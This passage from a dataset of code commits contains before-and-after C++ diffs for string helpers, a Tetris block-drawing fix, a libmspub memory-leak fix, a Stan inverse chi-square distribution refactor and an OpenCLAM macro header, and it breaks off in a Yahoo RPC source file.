s.begin());\n}\n\nbool String::ends_with(const std::string& s, const std::string& ending)\n{\n return (ending.size() <= s.size()) && std::equal(ending.rbegin(), ending.rend(), s.rbegin());\n}\n\nstd::string String::trim_outer_whitespace(const std::string& s)\n{\n auto text_start = s.find_first_not_of(whitespace);\n if(text_start == std::string::npos)\n {\n return {};\n }\n\n auto text_end = s.find_last_not_of(whitespace);\n return s.substr(text_start, text_end - text_start + 1);\n}\n\nstd::string String::remove_extra_whitespace(const std::string& s)\n{\n std::string result;\n\n for(auto c : trim_outer_whitespace(s))\n {\n if(contains(whitespace, c))\n {\n if(result.back() != ' ')\n {\n result.push_back(' ');\n }\n }\n else\n {\n result.push_back(c);\n }\n }\n\n return result;\n}\n\nstd::string String::strip_comments(const std::string& str, const std::string& comment)\n{\n return trim_outer_whitespace(str.substr(0, str.find(comment)));\n}\n\nstd::string String::strip_block_comment(const std::string& str, const std::string& start, const std::string& end)\n{\n auto start_comment_index = str.find(start);\n auto end_comment_index = str.find(end);\n\n if(start_comment_index == std::string::npos && end_comment_index == std::string::npos)\n {\n return trim_outer_whitespace(str);\n }\n\n if(start_comment_index == std::string::npos || end_comment_index == std::string::npos)\n {\n throw std::invalid_argument(\"\\\"\" + str + \"\\\" is missing a comment delimiter: \" + std::string{start} + std::string{end});\n }\n\n if(start_comment_index >= end_comment_index)\n {\n throw std::invalid_argument(\"\\\"\" + str + \"\\\" contains bad comment delimiters: \" + std::string{start} + std::string{end});\n }\n\n auto first_part = str.substr(0, start_comment_index);\n auto last_part = str.substr(end_comment_index + end.size());\n return strip_block_comment(trim_outer_whitespace(first_part) + \" \" + trim_outer_whitespace(last_part), start, end);\n}\n\nstd::string String::lowercase(std::string s)\n{\n for(auto& c : s){ c = std::tolower(c); }\n return s;\n}\n\nstd::string String::format_integer(int n, const std::string& separator)\n{\n if(n < 0)\n {\n return '-' + format_integer(size_t(-n), separator);\n }\n else\n {\n return format_integer(size_t(n), separator);\n }\n}\n\nstd::string String::format_integer(size_t n, const std::string& separator)\n{\n auto s = std::to_string(n);\n auto index = s.size() % 3;\n index = (index == 0 ? 3 : index);\n auto result = s.substr(0, index);\n\n for( ; index < s.size(); index += 3)\n {\n result += separator;\n result += s.substr(index, 3);\n }\n\n return result;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Tetromino4.cpp\n *\n * Created on: 28.04.2014\n * Author: nicola\n *\/\n\n#include <iostream>\n#include \"Libraries.hpp\"\n#include \"Tetromino4.hpp\"\n#include <sstream>\n\nstd::string itos(int i){\n\tstd::stringstream ss;\n\tss<<i;\n\treturn ss.str();\n}\n\n\/* Definition of static const, Tick time in ms *\/\nconst Point2D Tetromino4::startPos = {\n\tstatic_cast<int>(MAP_WIDTH\/2),\n\t-2 \/* So it's not visible just yet *\/};\n\nTetromino4::Tetromino4(ColorType Color)\n:Tetromino(startPos) {\n\t\/* Initialise square list with only blocks *\/\n\tfor(unsigned int i=0; i<4; i++) {\n\t\tsquares.push_back(new Block(Color));\n\t}\n}\n\nTetromino4::~Tetromino4() {\n\t\/* Delete square list *\/\n\tsquares.clear();\n}\n\nvoid Tetromino4::rotate(bool Cw) {\n\t\/* Tetromino4 doesn't need to be rotated *\/\n}\n\nvoid Tetromino4::draw() {\n\t\/* Draw each square *\/\n\tfor(unsigned int i=0; i<4; i++) {\n\t\tif(squares[i].getType() == typeBlock) {\n\t\t\tint x = position.x*SQUARE_WIDTH;\n\t\t\tint y = position.y*SQUARE_WIDTH;\n\t\t\tif(y >= 0) {\n\t\t\t\tDrawFilledRectangle(x, y, SQUARE_WIDTH, SQUARE_WIDTH, squares[i].getColor(), 0);\n\t\t\t}\n\t\t}\n\t}\n}\n<commit_msg>Fixed block position drawing<commit_after>\/*\n * Tetromino4.cpp\n *\n * Created on: 28.04.2014\n * Author: nicola\n *\/\n\n#include <iostream>\n#include \"Libraries.hpp\"\n#include \"Tetromino4.hpp\"\n#include <sstream>\n\nstd::string itos(int i){\n\tstd::stringstream ss;\n\tss<<i;\n\treturn ss.str();\n}\n\n\/* Definition of static const, Tick time in ms *\/\nconst Point2D Tetromino4::startPos = {\n\tstatic_cast<int>(MAP_WIDTH\/2)-1,\n\t-2 \/* So it's not visible just yet *\/};\n\nTetromino4::Tetromino4(ColorType Color)\n:Tetromino(startPos) {\n\t\/* Initialise square list with only blocks *\/\n\tfor(unsigned int i=0; i<4; i++) {\n\t\tsquares.push_back(new Block(Color));\n\t}\n}\n\nTetromino4::~Tetromino4() {\n\t\/* Delete square list *\/\n\tsquares.clear();\n}\n\nvoid Tetromino4::rotate(bool Cw) {\n\t\/* Tetromino4 doesn't need to be rotated *\/\n}\n\nvoid Tetromino4::draw() {\n\t\/* Draw each square *\/\n\tfor(unsigned int i=0; i<2; i++) {\n\t\tfor(unsigned int j=0; j<2; j++) {\n\t\t\tif(squares[i+j].getType() == typeBlock) {\n\t\t\t\tint x = (position.x + i%2) * SQUARE_WIDTH;\n\t\t\t\tint y = (position.y + j%2) * SQUARE_WIDTH;\n\t\t\t\tif(y >= 0) {\n\t\t\t\t\tDrawFilledRectangle(x, y, SQUARE_WIDTH, SQUARE_WIDTH, squares[i+j].getColor(), 0);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- *\/\n\/* libmspub\n * Version: MPL 1.1 \/ GPLv2+ \/ LGPLv2+\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 1.1 (the \"License\"); you may not use this file except in compliance with\n * the License or as specified alternatively below. You may obtain a copy of\n * the License at http:\/\/www.mozilla.org\/MPL\/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * Major Contributor(s):\n * Copyright (C) 2012 Fridrich Strba <fridrich.strba@bluewin.ch>\n *\n *\n * All Rights Reserved.\n *\n * For minor contributions see the git repository.\n *\n * Alternatively, the contents of this file may be used under the terms of\n * either the GNU General Public License Version 2 or later (the \"GPLv2+\"), or\n * the GNU Lesser General Public License Version 2 or later (the \"LGPLv2+\"),\n * in which case the provisions of the GPLv2+ or the LGPLv2+ are applicable\n * instead of those above.\n *\/\n\n#include <vector>\n#include \"MSPUBStringVector.h\"\n\nnamespace libmspub\n{\nclass MSPUBStringVectorImpl\n{\npublic:\n MSPUBStringVectorImpl() : m_strings() {}\n ~MSPUBStringVectorImpl() {}\n std::vector<WPXString> m_strings;\n};\n\n} \/\/ namespace libmspub\n\nlibmspub::MSPUBStringVector::MSPUBStringVector()\n : m_pImpl(new MSPUBStringVectorImpl())\n{\n}\n\nlibmspub::MSPUBStringVector::MSPUBStringVector(const MSPUBStringVector &vec)\n : m_pImpl(new MSPUBStringVectorImpl(*(vec.m_pImpl)))\n{\n}\n\nlibmspub::MSPUBStringVector::~MSPUBStringVector()\n{\n}\n\nlibmspub::MSPUBStringVector &libmspub::MSPUBStringVector::operator=(const MSPUBStringVector &vec)\n{\n \/\/ Check for self-assignment\n if (this == &vec)\n return *this;\n if (m_pImpl)\n delete m_pImpl;\n m_pImpl = new MSPUBStringVectorImpl(*(vec.m_pImpl));\n return *this;\n}\n\nunsigned libmspub::MSPUBStringVector::size() const\n{\n return (unsigned)(m_pImpl->m_strings.size());\n}\n\nbool libmspub::MSPUBStringVector::empty() const\n{\n return m_pImpl->m_strings.empty();\n}\n\nconst WPXString &libmspub::MSPUBStringVector::operator[](unsigned idx) const\n{\n return m_pImpl->m_strings[idx];\n}\n\nvoid libmspub::MSPUBStringVector::append(const WPXString &str)\n{\n m_pImpl->m_strings.push_back(str);\n}\n\nvoid libmspub::MSPUBStringVector::clear()\n{\n m_pImpl->m_strings.clear();\n}\n\n\/* vim:set shiftwidth=2 softtabstop=2 expandtab: *\/\n<commit_msg>coverity: memory leak<commit_after>\/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- *\/\n\/* libmspub\n * Version: MPL 1.1 \/ GPLv2+ \/ LGPLv2+\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 1.1 (the \"License\"); you may not use this file except in compliance with\n * the License or as specified alternatively below. You may obtain a copy of\n * the License at http:\/\/www.mozilla.org\/MPL\/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * Major Contributor(s):\n * Copyright (C) 2012 Fridrich Strba <fridrich.strba@bluewin.ch>\n *\n *\n * All Rights Reserved.\n *\n * For minor contributions see the git repository.\n *\n * Alternatively, the contents of this file may be used under the terms of\n * either the GNU General Public License Version 2 or later (the \"GPLv2+\"), or\n * the GNU Lesser General Public License Version 2 or later (the \"LGPLv2+\"),\n * in which case the provisions of the GPLv2+ or the LGPLv2+ are applicable\n * instead of those above.\n *\/\n\n#include <vector>\n#include \"MSPUBStringVector.h\"\n\nnamespace libmspub\n{\nclass MSPUBStringVectorImpl\n{\npublic:\n MSPUBStringVectorImpl() : m_strings() {}\n ~MSPUBStringVectorImpl() {}\n std::vector<WPXString> m_strings;\n};\n\n} \/\/ namespace libmspub\n\nlibmspub::MSPUBStringVector::MSPUBStringVector()\n : m_pImpl(new MSPUBStringVectorImpl())\n{\n}\n\nlibmspub::MSPUBStringVector::MSPUBStringVector(const MSPUBStringVector &vec)\n : m_pImpl(new MSPUBStringVectorImpl(*(vec.m_pImpl)))\n{\n}\n\nlibmspub::MSPUBStringVector::~MSPUBStringVector()\n{\n delete m_pImpl;\n}\n\nlibmspub::MSPUBStringVector &libmspub::MSPUBStringVector::operator=(const MSPUBStringVector &vec)\n{\n \/\/ Check for self-assignment\n if (this == &vec)\n return *this;\n if (m_pImpl)\n delete m_pImpl;\n m_pImpl = new MSPUBStringVectorImpl(*(vec.m_pImpl));\n return *this;\n}\n\nunsigned libmspub::MSPUBStringVector::size() const\n{\n return (unsigned)(m_pImpl->m_strings.size());\n}\n\nbool libmspub::MSPUBStringVector::empty() const\n{\n return m_pImpl->m_strings.empty();\n}\n\nconst WPXString &libmspub::MSPUBStringVector::operator[](unsigned idx) const\n{\n return m_pImpl->m_strings[idx];\n}\n\nvoid libmspub::MSPUBStringVector::append(const WPXString &str)\n{\n m_pImpl->m_strings.push_back(str);\n}\n\nvoid libmspub::MSPUBStringVector::clear()\n{\n m_pImpl->m_strings.clear();\n}\n\n\/* vim:set shiftwidth=2 softtabstop=2 expandtab: *\/\n<|endoftext|>"} {"text":"<commit_before>#ifndef __STAN__PROB__DIST__UNI__CONTINUOUS__INV_CHI_SQUARE_HPP__\r\n#define __STAN__PROB__DIST__UNI__CONTINUOUS__INV_CHI_SQUARE_HPP__\r\n\r\n#include <stan\/agrad.hpp>\r\n#include <stan\/math\/error_handling.hpp>\r\n#include <stan\/math\/special_functions.hpp>\r\n#include <stan\/meta\/traits.hpp>\r\n#include <stan\/prob\/constants.hpp>\r\n#include <stan\/prob\/traits.hpp>\r\n#include <stan\/prob\/internal_math.hpp>\r\n\r\nnamespace stan {\r\n\r\n namespace prob {\r\n\r\n \/**\r\n * The log of an inverse chi-squared density for y with the specified\r\n * degrees of freedom parameter.\r\n * The degrees of freedom prarameter must be greater than 0.\r\n * y must be greater than 0.\r\n * \r\n \\f{eqnarray*}{\r\n y &\\sim& \\mbox{\\sf{Inv-}}\\chi^2_\\nu \\\\\r\n \\log (p (y \\,|\\, \\nu)) &=& \\log \\left( \\frac{2^{-\\nu \/ 2}}{\\Gamma (\\nu \/ 2)} y^{- (\\nu \/ 2 + 1)} \\exp^{-1 \/ (2y)} \\right) \\\\\r\n &=& - \\frac{\\nu}{2} \\log(2) - \\log (\\Gamma (\\nu \/ 2)) - (\\frac{\\nu}{2} + 1) \\log(y) - \\frac{1}{2y} \\\\\r\n & & \\mathrm{ where } \\; y > 0\r\n \\f}\r\n * @param y A scalar variable.\r\n * @param nu Degrees of freedom.\r\n * @throw std::domain_error if nu is not greater than or equal to 0\r\n * @throw std::domain_error if y is not greater than or equal to 0.\r\n * @tparam T_y Type of scalar.\r\n * @tparam T_dof Type of degrees of freedom.\r\n *\/\r\n template <bool propto,\r\n typename T_y, typename T_dof, \r\n class Policy>\r\n typename return_type<T_y,T_dof>::type\r\n inv_chi_square_log(const T_y& y, const T_dof& nu, \r\n const Policy&) {\r\n static const char* function = \"stan::prob::inv_chi_square_log(%1%)\";\r\n\r\n \/\/ check if any vectors are zero length\r\n if (!(stan::length(y) \r\n && stan::length(nu)))\r\n\treturn 0.0;\r\n\r\n using stan::math::check_finite; \r\n using stan::math::check_positive;\r\n using stan::math::check_not_nan;\r\n using stan::math::value_of;\r\n using stan::math::check_consistent_sizes;\r\n\r\n typename return_type<T_y,T_dof>::type logp(0.0);\r\n if (!check_finite(function, nu, \"Degrees of freedom parameter\", &logp, Policy()))\r\n return logp;\r\n if (!check_positive(function, nu, \"Degrees of freedom parameter\", &logp, Policy()))\r\n return logp;\r\n if (!check_not_nan(function, y, \"Random variable\", &logp, Policy()))\r\n return logp;\r\n\r\n if (!(check_consistent_sizes(function,\r\n y,nu,\r\n\t\t\t\t \"Random variable\",\"Degrees of freedom parameter\",\r\n &logp, Policy())))\r\n return logp;\r\n\r\n \r\n \/\/ set up template expressions wrapping scalars into vector views\r\n VectorView<const T_y> y_vec(y);\r\n VectorView<const T_dof> nu_vec(nu);\r\n size_t N = max_size(y, nu);\r\n \r\n for (size_t n = 0; n < length(y); n++) \r\n\tif (value_of(y_vec[n]) <= 0)\r\n\t return LOG_ZERO;\r\n\r\n using boost::math::lgamma;\r\n using stan::math::multiply_log;\r\n for (size_t n = 0; n < N; n++) {\r\n\tif (include_summand<propto,T_dof>::value)\r\n\t logp += nu_vec[n] * NEG_LOG_TWO_OVER_TWO - lgamma(0.5 * nu_vec[n]);\r\n\tif (include_summand<propto,T_y,T_dof>::value)\r\n\t logp -= multiply_log(0.5*nu_vec[n]+1.0, y_vec[n]);\r\n\tif (include_summand<propto,T_y>::value)\r\n\t logp -= 0.5 \/ y_vec[n];\r\n }\r\n return logp;\r\n }\r\n\r\n template <bool propto,\r\n typename T_y, typename T_dof>\r\n inline\r\n typename return_type<T_y,T_dof>::type\r\n inv_chi_square_log(const T_y& y, const T_dof& nu) {\r\n return inv_chi_square_log<propto>(y,nu,stan::math::default_policy());\r\n }\r\n\r\n template <typename T_y, typename T_dof, \r\n class Policy>\r\n inline\r\n typename return_type<T_y,T_dof>::type\r\n inv_chi_square_log(const T_y& y, const T_dof& nu, \r\n const Policy&) {\r\n return inv_chi_square_log<false>(y,nu,Policy());\r\n }\r\n \r\n\r\n template <typename T_y, typename T_dof>\r\n inline\r\n typename return_type<T_y,T_dof>::type\r\n inv_chi_square_log(const T_y& y, const T_dof& nu) {\r\n return inv_chi_square_log<false>(y,nu,stan::math::default_policy());\r\n }\r\n \r\n template <typename T_y, typename T_dof, class Policy>\r\n typename return_type<T_y,T_dof>::type\r\n inv_chi_square_cdf(const T_y& y, const T_dof& nu, const Policy&) {\r\n \r\n \/\/ Size checks\r\n if ( !( stan::length(y) && stan::length(nu) ) ) return 0.0;\r\n \r\n \/\/ Error checks\r\n static const char* function = \"stan::prob::inv_chi_square_cdf(%1%)\";\r\n \r\n using stan::math::check_finite; \r\n using stan::math::check_positive;\r\n using stan::math::check_not_nan;\r\n using stan::math::check_consistent_sizes;\r\n \r\n using boost::math::tools::promote_args;\r\n \r\n double P(1.0);\r\n \r\n if (!check_finite(function, nu, \"Degrees of freedom parameter\", &P, Policy()))\r\n return P;\r\n \r\n if (!check_positive(function, nu, \"Degrees of freedom parameter\", &P, Policy()))\r\n return P;\r\n \r\n if (!check_not_nan(function, y, \"Random variable\", &P, Policy()))\r\n return P;\r\n \r\n if (!check_positive(function, y, \"Random variable\", &P, Policy()))\r\n return P;\r\n \r\n if (!(check_consistent_sizes(function, y, nu,\r\n \"Random variable\", \"Degrees of freedom parameter\",\r\n &P, Policy())))\r\n return P;\r\n \r\n \/\/ Wrap arguments in vectors\r\n VectorView<const T_y> y_vec(y);\r\n VectorView<const T_dof> nu_vec(nu);\r\n size_t N = max_size(y, nu);\r\n \r\n agrad::OperandsAndPartials<T_y, T_dof> operands_and_partials(y, nu);\r\n \r\n std::fill(operands_and_partials.all_partials,\r\n operands_and_partials.all_partials + operands_and_partials.nvaris, 0.0);\r\n \r\n \/\/ Compute CDF and its gradients\r\n using stan::math::value_of;\r\n using boost::math::gamma_p_derivative;\r\n using boost::math::gamma_q;\r\n using boost::math::tgamma;\r\n using boost::math::digamma;\r\n \r\n \/\/ Cache a few expensive function calls if nu is a parameter\r\n DoubleVectorView<!is_constant_struct<T_dof>::value, T_dof> gamma_vec(stan::length(nu));\r\n DoubleVectorView<!is_constant_struct<T_dof>::value, T_dof> digamma_vec(stan::length(nu));\r\n \r\n if (!is_constant_struct<T_dof>::value) {\r\n \r\n for (size_t i = 0; i < stan::length(nu); i++) {\r\n const double nu_dbl = value_of(nu_vec[i]);\r\n gamma_vec[i] = tgamma(nu_dbl);\r\n digamma_vec[i] = digamma(nu_dbl);\r\n }\r\n \r\n }\r\n \r\n \/\/ Compute vectorized CDF and gradient\r\n for (size_t n = 0; n < N; n++) {\r\n \r\n \/\/ Pull out values\r\n const double y_dbl = value_of(y_vec[n]);\r\n const double y_inv_dbl = 1.0 \/ y_dbl;\r\n const double nu_dbl = value_of(nu_vec[n]);\r\n \r\n \/\/ Compute\r\n const double Pn = gamma_q(0.5 * nu_dbl, 0.5 * y_inv_dbl);\r\n \r\n P *= Pn;\r\n \r\n if (!is_constant_struct<T_y>::value)\r\n operands_and_partials.d_x1[n] \r\n += 0.5 * y_inv_dbl * y_inv_dbl * gamma_p_derivative(0.5 * nu_dbl, 0.5 * y_inv_dbl) \/ Pn;\r\n \r\n if (!is_constant_struct<T_dof>::value)\r\n operands_and_partials.d_x2[n] \r\n += 0.5 * stan::math::gradRegIncGamma(0.5 * nu_dbl, 0.5 * y_inv_dbl, gamma_vec[n], digamma_vec[n]) \/ Pn;\r\n \r\n }\r\n \r\n for (size_t n = 0; n < N; n++) {\r\n \r\n if (!is_constant_struct<T_y>::value)\r\n operands_and_partials.d_x1[n] *= P;\r\n \r\n if (!is_constant_struct<T_dof>::value)\r\n operands_and_partials.d_x2[n] *= P;\r\n \r\n }\r\n \r\n return operands_and_partials.to_var(P);\r\n \r\n }\r\n \r\n template <typename T_y, typename T_dof>\r\n inline typename return_type<T_y,T_dof>::type\r\n inv_chi_square_cdf(const T_y& y, const T_dof& nu) {\r\n return inv_chi_square_cdf(y, nu, stan::math::default_policy());\r\n }\r\n \r\n }\r\n}\r\n\r\n#endif\r\n\r\n<commit_msg>refactoring inv_chi_square distribution<commit_after>#ifndef __STAN__PROB__DIST__UNI__CONTINUOUS__INV_CHI_SQUARE_HPP__\r\n#define __STAN__PROB__DIST__UNI__CONTINUOUS__INV_CHI_SQUARE_HPP__\r\n\r\n#include <stan\/agrad.hpp>\r\n#include <stan\/math\/error_handling.hpp>\r\n#include <stan\/math\/special_functions.hpp>\r\n#include <stan\/meta\/traits.hpp>\r\n#include <stan\/prob\/constants.hpp>\r\n#include <stan\/prob\/traits.hpp>\r\n#include <stan\/prob\/internal_math.hpp>\r\n\r\nnamespace stan {\r\n\r\n namespace prob {\r\n\r\n \/**\r\n * The log of an inverse chi-squared density for y with the specified\r\n * degrees of freedom parameter.\r\n * The degrees of freedom prarameter must be greater than 0.\r\n * y must be greater than 0.\r\n * \r\n \\f{eqnarray*}{\r\n y &\\sim& \\mbox{\\sf{Inv-}}\\chi^2_\\nu \\\\\r\n \\log (p (y \\,|\\, \\nu)) &=& \\log \\left( \\frac{2^{-\\nu \/ 2}}{\\Gamma (\\nu \/ 2)} y^{- (\\nu \/ 2 + 1)} \\exp^{-1 \/ (2y)} \\right) \\\\\r\n &=& - \\frac{\\nu}{2} \\log(2) - \\log (\\Gamma (\\nu \/ 2)) - (\\frac{\\nu}{2} + 1) \\log(y) - \\frac{1}{2y} \\\\\r\n & & \\mathrm{ where } \\; y > 0\r\n \\f}\r\n * @param y A scalar variable.\r\n * @param nu Degrees of freedom.\r\n * @throw std::domain_error if nu is not greater than or equal to 0\r\n * @throw std::domain_error if y is not greater than or equal to 0.\r\n * @tparam T_y Type of scalar.\r\n * @tparam T_dof Type of degrees of freedom.\r\n *\/\r\n template <bool propto,\r\n typename T_y, typename T_dof, \r\n class Policy>\r\n typename return_type<T_y,T_dof>::type\r\n inv_chi_square_log(const T_y& y, const T_dof& nu, \r\n const Policy&) {\r\n static const char* function = \"stan::prob::inv_chi_square_log(%1%)\";\r\n\r\n \/\/ check if any vectors are zero length\r\n if (!(stan::length(y) \r\n && stan::length(nu)))\r\n\treturn 0.0;\r\n\r\n using stan::math::check_finite; \r\n using stan::math::check_positive;\r\n using stan::math::check_not_nan;\r\n using stan::math::value_of;\r\n using stan::math::check_consistent_sizes;\r\n\r\n typename return_type<T_y,T_dof>::type logp(0.0);\r\n if (!check_finite(function, nu, \"Degrees of freedom parameter\", &logp, Policy()))\r\n return logp;\r\n if (!check_positive(function, nu, \"Degrees of freedom parameter\", &logp, Policy()))\r\n return logp;\r\n if (!check_not_nan(function, y, \"Random variable\", &logp, Policy()))\r\n return logp;\r\n\r\n if (!(check_consistent_sizes(function,\r\n y,nu,\r\n\t\t\t\t \"Random variable\",\"Degrees of freedom parameter\",\r\n &logp, Policy())))\r\n return logp;\r\n\r\n \r\n \/\/ set up template expressions wrapping scalars into vector views\r\n VectorView<const T_y> y_vec(y);\r\n VectorView<const T_dof> nu_vec(nu);\r\n size_t N = max_size(y, nu);\r\n \r\n for (size_t n = 0; n < length(y); n++) \r\n\tif (value_of(y_vec[n]) <= 0)\r\n\t return LOG_ZERO;\r\n\r\n using boost::math::lgamma;\r\n using stan::math::multiply_log;\r\n for (size_t n = 0; n < N; n++) {\r\n\tif (include_summand<propto,T_dof>::value)\r\n\t logp += nu_vec[n] * NEG_LOG_TWO_OVER_TWO - lgamma(0.5 * nu_vec[n]);\r\n\tif (include_summand<propto,T_y,T_dof>::value)\r\n\t logp -= multiply_log(0.5*nu_vec[n]+1.0, y_vec[n]);\r\n\tif (include_summand<propto,T_y>::value)\r\n\t logp -= 0.5 \/ y_vec[n];\r\n }\r\n return logp;\r\n }\r\n\r\n template <bool propto,\r\n typename T_y, typename T_dof>\r\n inline\r\n typename return_type<T_y,T_dof>::type\r\n inv_chi_square_log(const T_y& y, const T_dof& nu) {\r\n return inv_chi_square_log<propto>(y,nu,stan::math::default_policy());\r\n }\r\n\r\n template <typename T_y, typename T_dof, \r\n class Policy>\r\n inline\r\n typename return_type<T_y,T_dof>::type\r\n inv_chi_square_log(const T_y& y, const T_dof& nu, \r\n const Policy&) {\r\n return inv_chi_square_log<false>(y,nu,Policy());\r\n }\r\n \r\n\r\n template <typename T_y, typename T_dof>\r\n inline\r\n typename return_type<T_y,T_dof>::type\r\n inv_chi_square_log(const T_y& y, const T_dof& nu) {\r\n return inv_chi_square_log<false>(y,nu,stan::math::default_policy());\r\n }\r\n \r\n template <typename T_y, typename T_dof, class Policy>\r\n typename return_type<T_y,T_dof>::type\r\n inv_chi_square_cdf(const T_y& y, const T_dof& nu, const Policy&) {\r\n \r\n \/\/ Size checks\r\n if ( !( stan::length(y) && stan::length(nu) ) ) return 0.0;\r\n \r\n \/\/ Error checks\r\n static const char* function = \"stan::prob::inv_chi_square_cdf(%1%)\";\r\n \r\n using stan::math::check_finite; \r\n using stan::math::check_positive;\r\n using stan::math::check_not_nan;\r\n using stan::math::check_consistent_sizes;\r\n \r\n using boost::math::tools::promote_args;\r\n \r\n double P(1.0);\r\n \r\n if (!check_finite(function, nu, \"Degrees of freedom parameter\", &P, Policy()))\r\n\treturn P;\r\n \r\n if (!check_positive(function, nu, \"Degrees of freedom parameter\", &P, Policy()))\r\n\treturn P;\r\n \r\n if (!check_not_nan(function, y, \"Random variable\", &P, Policy()))\r\n\treturn P;\r\n \r\n if (!check_positive(function, y, \"Random variable\", &P, Policy()))\r\n\treturn P;\r\n \r\n if (!(check_consistent_sizes(function, y, nu,\r\n\t\t\t\t \"Random variable\", \"Degrees of freedom parameter\",\r\n\t\t\t\t &P, Policy())))\r\n\treturn P;\r\n \r\n \/\/ Wrap arguments in vectors\r\n VectorView<const T_y> y_vec(y);\r\n VectorView<const T_dof> nu_vec(nu);\r\n size_t N = max_size(y, nu);\r\n \r\n agrad::OperandsAndPartials<T_y, T_dof> operands_and_partials(y, nu);\r\n \r\n std::fill(operands_and_partials.all_partials,\r\n\t\toperands_and_partials.all_partials + operands_and_partials.nvaris, 0.0);\r\n \r\n \/\/ Compute CDF and its gradients\r\n using stan::math::value_of;\r\n using boost::math::gamma_p_derivative;\r\n using boost::math::gamma_q;\r\n using boost::math::tgamma;\r\n using boost::math::digamma;\r\n \r\n \/\/ Cache a few expensive function calls if nu is a parameter\r\n DoubleVectorView<!is_constant_struct<T_dof>::value, is_vector<T_dof>::value> gamma_vec(stan::length(nu));\r\n DoubleVectorView<!is_constant_struct<T_dof>::value, is_vector<T_dof>::value> digamma_vec(stan::length(nu));\r\n \r\n if (!is_constant_struct<T_dof>::value) {\r\n \r\n\tfor (size_t i = 0; i < stan::length(nu); i++) {\r\n\t const double nu_dbl = value_of(nu_vec[i]);\r\n\t gamma_vec[i] = tgamma(nu_dbl);\r\n\t digamma_vec[i] = digamma(nu_dbl);\r\n\t}\r\n \r\n }\r\n \r\n \/\/ Compute vectorized CDF and gradient\r\n for (size_t n = 0; n < N; n++) {\r\n \r\n\t\/\/ Pull out values\r\n\tconst double y_dbl = value_of(y_vec[n]);\r\n\tconst double y_inv_dbl = 1.0 \/ y_dbl;\r\n\tconst double nu_dbl = value_of(nu_vec[n]);\r\n \r\n\t\/\/ Compute\r\n\tconst double Pn = gamma_q(0.5 * nu_dbl, 0.5 * y_inv_dbl);\r\n \r\n\tP *= Pn;\r\n \r\n\tif (!is_constant_struct<T_y>::value)\r\n\t operands_and_partials.d_x1[n] \r\n\t += 0.5 * y_inv_dbl * y_inv_dbl * gamma_p_derivative(0.5 * nu_dbl, 0.5 * y_inv_dbl) \/ Pn;\r\n \r\n\tif (!is_constant_struct<T_dof>::value)\r\n\t operands_and_partials.d_x2[n] \r\n\t += 0.5 * stan::math::gradRegIncGamma(0.5 * nu_dbl, 0.5 * y_inv_dbl, gamma_vec[n], digamma_vec[n]) \/ Pn;\r\n \r\n }\r\n \r\n for (size_t n = 0; n < N; n++) {\r\n \r\n\tif (!is_constant_struct<T_y>::value)\r\n\t operands_and_partials.d_x1[n] *= P;\r\n \r\n\tif (!is_constant_struct<T_dof>::value)\r\n\t operands_and_partials.d_x2[n] *= P;\r\n \r\n }\r\n \r\n return operands_and_partials.to_var(P);\r\n \r\n }\r\n \r\n template <typename T_y, typename T_dof>\r\n inline typename return_type<T_y,T_dof>::type\r\n inv_chi_square_cdf(const T_y& y, const T_dof& nu) {\r\n return inv_chi_square_cdf(y, nu, stan::math::default_policy());\r\n }\r\n \r\n }\r\n}\r\n\r\n#endif\r\n\r\n<|endoftext|>"} {"text":"<commit_before>\/\/\r\n\/\/ Copyright Silvin Lubecki 2010\r\n\/\/\r\n\/\/ Distributed under the Boost Software License, Version 1.0. (See\r\n\/\/ accompanying file LICENSE_1_0.txt or copy at\r\n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\r\n\/\/\r\n\r\n#ifndef OPENCLAM_CL_HPP_INCLUDED\r\n#define OPENCLAM_CL_HPP_INCLUDED\r\n\r\n#include <CL\/cl.h>\r\n#include \"error.hpp\"\r\n#include \"context.hpp\"\r\n#include \"builtin.hpp\"\r\n\r\n#define __kernel\r\n#define kernel\r\n\r\n#define __global\r\n#define global\r\n\r\n#define APPLY_DEFINES( NAME, FUNCTION ) \\\r\nclass NAME_CLASS : public openclam::builtin \\\n{ \\\nprivate: \\\n NAME_CLASS() {} \\\n virtual ~NAME_CLASS() {} \\\n \\\r\n FUNCTION; \\\r\n}; \\\r\n\r\n#define KERNEL( NAME, FUNCTION ) \\\r\n#FUNCTION; \\\r\nAPPLY_DEFINES( NAME, FUNCTION );\r\n\r\n#endif \/\/ #ifndef OPENCLAM_CL_HPP_INCLUDED\r\n<commit_msg>cleaning<commit_after>\/\/\r\n\/\/ Copyright Silvin Lubecki 2010\r\n\/\/\r\n\/\/ Distributed under the Boost Software License, Version 1.0. (See\r\n\/\/ accompanying file LICENSE_1_0.txt or copy at\r\n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\r\n\/\/\r\n\r\n#ifndef OPENCLAM_CL_HPP_INCLUDED\r\n#define OPENCLAM_CL_HPP_INCLUDED\r\n\r\n#include <CL\/cl.h>\r\n#include \"error.hpp\"\r\n#include \"context.hpp\"\r\n#include \"builtin.hpp\"\r\n\r\n#define __kernel\r\n#define kernel\r\n\r\n#define __global\r\n#define global\r\n\r\n#define APPLY_DEFINES( NAME, FUNCTION ) \\\r\nclass NAME_CLASS : private openclam::builtin \\\n{ \\\nprivate: \\\n NAME_CLASS() {} \\\n virtual ~NAME_CLASS() {} \\\n \\\r\n FUNCTION; \\\r\n}; \\\r\n\r\n#define KERNEL( NAME, FUNCTION ) \\\r\n#FUNCTION; \\\r\nAPPLY_DEFINES( NAME, FUNCTION );\r\n\r\n#endif \/\/ #ifndef OPENCLAM_CL_HPP_INCLUDED\r\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#include \"rpc_target.h\"\n#include \"shared_rpc_resources.h\"\n#include 